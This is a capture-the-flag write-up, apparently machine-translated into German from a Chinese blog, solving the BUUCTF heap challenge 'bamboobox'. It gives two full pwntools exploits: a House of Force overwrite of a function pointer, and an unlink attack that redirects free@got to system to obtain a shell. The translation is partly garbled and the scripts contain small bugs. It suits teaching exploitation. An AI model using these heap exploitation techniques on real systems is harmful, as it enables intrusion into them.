[BUUCTF] PWN —— hitcontraining_bamboobox (Haus der Gewalt + Verknüpfung aufheben)

hitcontraining_bamboobox

annektieren

Schritt

  1. Routineinspektion, 64-Bit-Programm, Kanarienvogel und nx sind aktiviert
    Fügen Sie hier eine Bildbeschreibung ein

  2. Versuchen Sie einen lokalen Testlauf, um die ungefähre Ausführung und das klassische Stapelmenü zu sehen. Gemäß den Eingabeaufforderungen in der ersten Zeile wird geschätzt, dass eine Hintertür vorhanden ist
    Fügen Sie hier eine Bildbeschreibung ein

  3. 64-Bit-IDA wird geladen, vermutet, dass es eine Hintertür gibt, die Suchzeichenfolge hat die Hintertür wirklich gefunden, aber gemäß der Gewohnheit von buu befindet sich das Flag im Allgemeinen im Stammverzeichnis. Diese Hintertür sollte nicht viel verwendet werden. Denken Sie zuerst an magic_addr = 0x400d49
    Fügen Sie hier eine Bildbeschreibung ein

  4. main () -Funktion wird v4 [1] ausgeführt, wenn Eingabe 5, v4 [1] die Adresse von goodbye_message ist. Wenn der Flag-Pfad der Hintertür korrekt ist, können Sie die Adresse von goodbye_message über die Methode von house in majic ändern of Force Adresse, können Sie die Flagge bekommen
    Fügen Sie hier eine Bildbeschreibung ein

  5. Analysieren Sie die Funktionen jeder Funktion
    add ()
    Fügen Sie hier eine Bildbeschreibung ein
    edit ()
    Fügen Sie hier eine Bildbeschreibung ein
    show ()
    Fügen Sie hier eine Bildbeschreibung ein
    free () Die
    Fügen Sie hier eine Bildbeschreibung ein
    freie Funktion hat keinen Verwendungspunkt.

Haus der Kraft

Verwenden Sie Ideen

  1. Verschieben Sie die Adresse des obersten Chunks durch House of Force nach chunk0, wo goodbye_messaged aufgezeichnet wird
  2. Beantragen Sie Chunk erneut, wir können Chunk0 zuweisen
  3. Ändern Sie goodbye_message in magische Adresse
  4. Geben Sie 5 ein, um v4 [1] aufzurufen und die Flagge zu erhalten

Nutzungsprozess

Um die Migration des oberen Blocks zu realisieren,
erstellen Sie zunächst einen Block und debuggen Sie, um die Position des oberen Blocks zu ermitteln

add(0x30,'aaaa')
gdb.attach(p)

Fügen Sie hier eine Bildbeschreibung ein
Wir können sehen, dass der Versatz von oberem Block zu Block 0 unter Verwendung der House-of-Force-Technik -0x60 beträgt (siehe ctfwiki für die spezifische Methode ). Ich werde kurz auf diese Frage in Verbindung mit ctfwiki eingehen

Der Grund für House Of Force ist, dass glibc den obersten Block verarbeitet. Wenn bei der Heap-Zuweisung nicht alle freien Blöcke die Anforderung erfüllen können, wird die entsprechende Größe vom oberen Block als Platz des Heap-Blocks geteilt.

Zunächst werden in glibc die Benutzeranforderungsgröße und die vorhandene Größe des oberen Blocks überprüft

// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

Wenn die Größe jedoch auf einen großen Wert manipuliert werden kann, kann diese Überprüfung problemlos bestanden werden. Daher benötigen wir eine Lücke, die das Feld für die Größe der oberen Blockgröße steuern kann. Zuvor wurde analysiert, dass die Bearbeitungsfunktion eine Überlauf-Sicherheitsanfälligkeit aufweist, mit der die Größe des oberen Blocks geändert werden kann.

Der allgemeine Ansatz besteht darin, die Größe des oberen Blocks auf -1 zu ändern, da die Größe während des Vergleichs in eine vorzeichenlose Zahl 0xffffffffffffff umgewandelt wird. Daher ist -1 die größte Zahl in vorzeichenloser Länge, sodass sie trotzdem überprüft werden kann.

Schauen wir uns an, wie diese Frage zu bedienen ist. Schauen wir uns die Speicherverteilung von Chunks an.
Fügen Sie hier eine Bildbeschreibung ein
Wir verwenden die Überlauf-Sicherheitsanfälligkeit von edit, um chunk0 zu bearbeiten und die Größe des obersten Chunks zu ändern.

payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)
 
edit(0,0x41,payload)

Der Effekt ist wie folgt
Fügen Sie hier eine Bildbeschreibung ein

remainder      = chunk_at_offset(victim, nb);
av->top        = remainder;

/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))

Danach wird der obere Zeiger hier aktualisiert und der nächste Heap-Block wird diesem Speicherort zugewiesen. Solange der Benutzer diesen Zeiger steuert, entspricht dies dem Schreiben eines beliebigen Werts an eine beliebige Adresse (irgendwo etwas schreiben). In dieser Frage müssen wir den oberen Zeiger auf die Position von chunk0 aktualisieren, damit der Wert in chunk0 beim malloc neu geschrieben werden kann

Gleichzeitig müssen wir beachten, dass die Größe des Topchunks ebenfalls aktualisiert wird und die Aktualisierungsmethode wie folgt lautet

victim = av->top;
size   = chunksize(victim);
remainder_size = size - nb;
set_head(remainder, remainder_size | PREV_INUSE);

Wenn wir also beim nächsten Mal einen Block der Größe x am angegebenen Speicherort zuweisen möchten, müssen wir sicherstellen, dass die verbleibende Größe nicht kleiner als x + MINSIZE ist.

In dieser Frage möchten wir den Zeiger des oberen Blocks auf Block 0 aktualisieren und den Versatz berechnen0xfc7000-0xfc7060=-0x60

Außerdem wird die vom Benutzer angeforderte Speichergröße zu einer Ganzzahl ohne Vorzeichen, sobald sie in die Funktion zum Anfordern von Speicher eingeht.

void *__libc_malloc(size_t bytes) {

Wenn Sie Benutzereingaben über die interne Größe checked_request2sizedieser Größe erhalten möchten, können Sie nämlich

/*
   Check if a request is so large that it would wrap around zero when
   padded and aligned. To simplify some other code, the bound is made
   low enough so that adding MINSIZE will also not wrap around zero.
 */

#define REQUEST_OUT_OF_RANGE(req)                                              \
    ((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req)                                                      \
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)                           \
         ? MINSIZE                                                             \
         : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/*  Same, except also perform argument check */

#define checked_request2size(req, sz)                                          \
    if (REQUEST_OUT_OF_RANGE(req)) {                                           \
        __set_errno(ENOMEM);                                                   \
        return 0;                                                              \
    }                                                                          \
    (sz) = request2size(req);

Einerseits müssen wir den REQUEST_OUT_OF_RANGE (req) -Test umgehen, dh der Wert, den wir an malloc übergeben, liegt im Bereich negativer Zahlen und darf nicht größer als -2 * MINSIZE sein. Dies ist im Allgemeinen zufriedenstellend.

Andererseits müssen wir, nachdem wir die entsprechenden Einschränkungen erfüllt haben, request2size genau in die entsprechende Größe konvertieren, dh ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~ MALLOC_ALIGN_MASK genau-60 machen.
Zunächst ist -60 offensichtlich chunk-ausgerichtet, sodass wir nur SIZE_SZ und MALLOC_ALIGN_MASK subtrahieren müssen, um den entsprechenden Wert zu erhalten, der angewendet werden muss.

Ich weiß nicht, wie viele Leute wie ich auf viele exklusive Substantive stoßen können, denen sie noch nie zuvor begegnet sind. Hier sind die Erklärungen zu size_sze und MALLOC_ALIGN_MASK, die Baidu erhalten hat. Bitte
lesen Sie zunächst glibc von der GNU-Website Laden Sie den Quellcode herunter und zeigen Sie die Datei malloc.c an.
Fügen Sie hier eine Bildbeschreibung ein
In den meisten Fällen helfen Ihnen der Compiler und die C-Bibliothek transparent bei der Lösung von Ausrichtungsproblemen. POSIX gibt an, dass die von malloc (), calloc () und realloc () zurückgegebenen Adressen für jeden C-Typ ausgerichtet sind.
Die Größe des Ausrichtungsparameters (MALLOC_ALIGNMENT) muss zwei Eigenschaften erfüllen: 1. Muss eine Potenz von 2 sein. 2. Muss ein ganzzahliges Vielfaches von (void *) sein.
Warum muss ein ganzzahliges Vielfaches von (void *) sein? ), das ist momentan mein Es ist noch nicht klar, warten Sie, bis Sie es herausfinden ...
Nach diesem Prinzip sind die Ausrichtungseinheiten in 32-Bit und 64-Bit 8 Byte bzw. 16 Byte.

Daher müssen wir das Makro request2size (req) für diese Frage umgehen. Da -0x60 16-Byte-ausgerichtet ist, müssen wir SIZE_SZ (0x8) und MALLOC_ALIGN_MASK (0xf) subtrahieren
. Der Offset des modifizierten Zeigers ist0xfc7000-0xfc7060-0x8-0xf

Nachdem wir den Offset erhalten haben, können wir die Adresse des obersten Chunks entsprechend dem Offset-Malloc (Chunk) auf Chunk0 migrieren, und dann kann unser Malloc die Adresse des ursprünglichen Chunk0 abrufen, sodass wir Chunk0 neu schreiben können

offset = -(0x60+0x8+0xf)
add(offset,'aaaa')
add(0x10,p64(magic) * 2)

Der Wert in chunk0 wurde erfolgreich in die Adresse der Magie geändert, und der Rest besteht darin, 5 einzugeben, um chunk0 aufzurufen
Fügen Sie hier eine Bildbeschreibung ein

Volle exp

from pwn import *

#p=remote("node3.buuoj.cn",27403)
p=process("./bamboobox")
elf=ELF('./bamboobox')
context.log_level="debug"

def add(length,name):
	p.recvuntil(":")
	p.sendline('2')
	p.recvuntil(':')
	p.sendline(str(length))
	p.recvuntil(":")
	p.sendline(name)
 
def edit(idx,length,name):
	p.recvuntil(':')
	p.sendline('3')
	p.recvuntil(":")
	p.sendline(str(idx))
	p.recvuntil(":")
	p.sendline(str(length))
	p.recvuntil(':')
	p.sendline(name)
 
def free(idx):
	p.revcuntil(":")
	p.sendline("4")
	p.recvuntil(":")
	p.sendline(str(idx))
 
def show():
	p.recvuntil(":")
	p.sendline("1")
 
magic = 0x400d49
 
add(0x30,'aaaa')
#gdb.attach(p)

payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)
 
edit(0,0x41,payload)
#gdb.attach(p)

offset = -(0x60+0x8+0xf)
add(offset,'aaaa')
add(0x10,p64(magic) * 2)
 
#gdb.attach(p)
 
p.interactive()

Fügen Sie hier eine Bildbeschreibung ein
Ich weiß, dass die von buu angegebene Hintertür falsch ist. Diese Methode kann lokal geöffnet werden. Wenn der Pfad der von der Hintertür angegebenen Flagge korrekt ist, funktioniert sie.

Das wp anderer Baidu-Meister sagte, dass Unlink durch die Fernbedienung gelangen kann.
Referenz wp: https://www.cnblogs.com/luoleqi/p/12373298.html

Verknüpfung aufheben

Verwenden Sie Ideen

  1. Schmiede ein freies Stück.
  2. Verschieben Sie den Block in den Speicher, in dem der Blockzeiger durch Aufheben der Verknüpfung gespeichert ist.
  3. Überschreiben Sie den Chunk 0-Zeiger auf die Adresse der Tabelle free @ got und lecken Sie sie.
  4. Überschreiben Sie die free @ got-Tabelle mit der Systemfunktionsadresse.
  5. Der Inhalt des angeforderten Blocks ist "/ bin / sh". Rufen Sie die kostenlose Funktion auf, um die Shell abzurufen.

Nutzungsprozess

Beantragen Sie zunächst nach dem Zufallsprinzip einige Blöcke, um das Layout anzuzeigen. Im
Allgemeinen lautet der angeforderte Block (0x20 ~ 0x80). Da der Zuordnungsmechanismus von malloc eine Ausrichtung umfasst, werde ich jedes Mal die Größe des zugewiesenen Blocks überprüfen.

add(0x40,'a'*8 )
add(0x80,'b' * 8)
add(0x80,'c' * 8)
add(0x20,'/bin/sh\x00')  #这个是用来后面free的,一开始调试的时候没有写,下面调试堆布局的时候没有这个chunk,影响不大

Fügen Sie hier eine Bildbeschreibung ein

Was wir tun müssen, ist, einen gefälschten Block in Block 0 zu konstruieren und die Zeiger auf ptr-0x18 bzw. ptr-0x10 zu setzen und gleichzeitig der Größe von Block 1 die Größe des gefälschten Blocks zu geben und die zu setzen Verwenden Sie die Position der Größe auf 0, damit sie frei ist. Wenn Block 1, denkt das Programm fälschlicherweise, dass der gefälschte Block frei ist, was die Verknüpfung aufhebt und den ptr-Zeiger auf ptr-0x18 setzt.

ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+='\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)

edit(0,len(fake_chunk),fake_chunk)

Wenn wir uns das modifizierte Heap-Layout in Kombination mit dem vorherigen Bild ansehen, können wir feststellen, dass wir in chunk0 einen gefälschten Chunk gefälscht haben, und
Fügen Sie hier eine Bildbeschreibung ein
dann geben wir den nächsten Heap-Chunk-Chunk1 frei. Fake_chunk und chunk1 werden zusammengeführt, der Fakechunk wird nicht verbunden und der Wert von G_ptr wird geändert. Danach ist die Adresse von chunk0, die wir bearbeitet haben, nicht mehr die Adresse, die vom Befehl parseheap angezeigt wird. Jetzt lautet die Adresse von chunk0 ptr = 0x6020c8-0x18

free(1)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload1=p64(0)+p64(0)+p64(0x30)+p64(free_got)
edit(1,len(payload),payload1)

Schauen Sie sich das Heap-Layout an. Zu diesem Zeitpunkt ist der Inhalt in chunk0 frei @ got.
Fügen Sie hier eine Bildbeschreibung ein
Verwenden Sie zuerst show, um die Adresse free @ got zu drucken, libc zu lecken und die Adresse des Systems zu berechnen. Ändern Sie free @ got to system. Wir werden Bewerben Sie sich am Anfang für einen. Chunk, sein Inhalt ist '/ bin / sh', lassen Sie ihn los, um die Shell zu erhalten

show()
free_addr=u64(r.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) 
log.info("free_addr:%x",free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(0,0x8,p64(system_addr))

add(0x20,'/bin/sh\x00')
free(3)

Volle exp

from pwn import *
from LibcSearcher import *
#r=process('bamboobox')
r=remote('node3.buuoj.cn',29464)
elf=ELF('bamboobox')
context.log_level="debug"


def add(length,context):
    r.recvuntil("Your choice:")
    r.sendline("2")
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the name of item:")
    r.send(context)

def edit(idx,length,context):
    r.recvuntil("Your choice:")
    r.sendline("3")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the new name of the item:")
    r.send(context)

def free(idx):
    r.recvuntil("Your choice:")
    r.sendline("4")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))

def show():
    r.sendlineafter("Your choice:", "1")

add(0x40,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)
add(0x20,'/bin/sh\x00')
#gdb.attach(r)

ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+='\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)

edit(0,len(fake_chunk),fake_chunk)
#gdb.attach(r)

free(1)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload=p64(0)+p64(0)+p64(0x40)+p64(free_got)
edit(0,len(fake_chunk),payload)
#gdb.attach(r)

show()
free_addr=u64(r.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) 
log.info("free_addr:%x",free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(0,0x8,p64(system_addr))

#gdb.attach(r)


free(3)
r.interactive()

Fügen Sie hier eine Bildbeschreibung ein

Ich denke du magst

Origin blog.csdn.net/mcmuyanga/article/details/114291792
Empfohlen
Rangfolge